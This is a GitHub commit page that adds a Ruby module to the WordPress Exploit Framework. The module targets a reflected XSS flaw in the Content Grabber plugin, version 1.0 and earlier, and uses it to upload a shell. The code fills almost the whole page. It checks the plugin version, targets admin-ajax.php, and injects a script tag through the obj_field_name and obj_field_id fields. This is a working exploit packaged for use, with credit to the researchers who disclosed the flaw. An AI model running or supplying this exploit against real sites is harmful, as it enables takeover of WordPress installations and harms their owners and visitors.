Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 59d9940

Browse files
committed
Add Content Grabber reflected XSS shell upload
1 parent 03079fa commit 59d9940

File tree

1 file changed

+41
-0
lines changed

1 file changed

+41
-0
lines changed
Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
class Wpxf::Exploit::ContentGrabberReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Content Grabber <= 1.0 Reflected XSS Shell Upload',
9+
author: [
10+
'Morten Nørtoft', # Discovery and disclosure
11+
'Kenneth Jepsen', # Discovery and disclosure
12+
'Mikkel Vej', # Discovery and disclosure
13+
'phyushin <phyushin[at]phyubox.com>' # WPXF module
14+
],
15+
references: [
16+
['WPVDB', '8134'],
17+
['URL', 'https://packetstormsecurity.com/files/132910/']
18+
],
19+
date: 'Jun 14 2015'
20+
)
21+
end
22+
23+
def check
24+
check_plugin_version_from_readme('content-grabber')
25+
end
26+
27+
def vulnerable_url
28+
normalize_uri(wordpress_url_admin, 'admin-ajax.php')
29+
end
30+
31+
def initial_script
32+
create_basic_post_script(
33+
vulnerable_url,
34+
'action' => 'get_terms_taxonomies',
35+
'post_type' => 'post',
36+
'obj_field_name' => Utility::Text.rand_alpha(10),
37+
'obj_field_id' => "widget-cg_content_grabber-3-cat_id\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>",
38+
'cat_id_array' => '[\"1\"]'
39+
)
40+
end
41+
end

0 commit comments

Comments
 (0)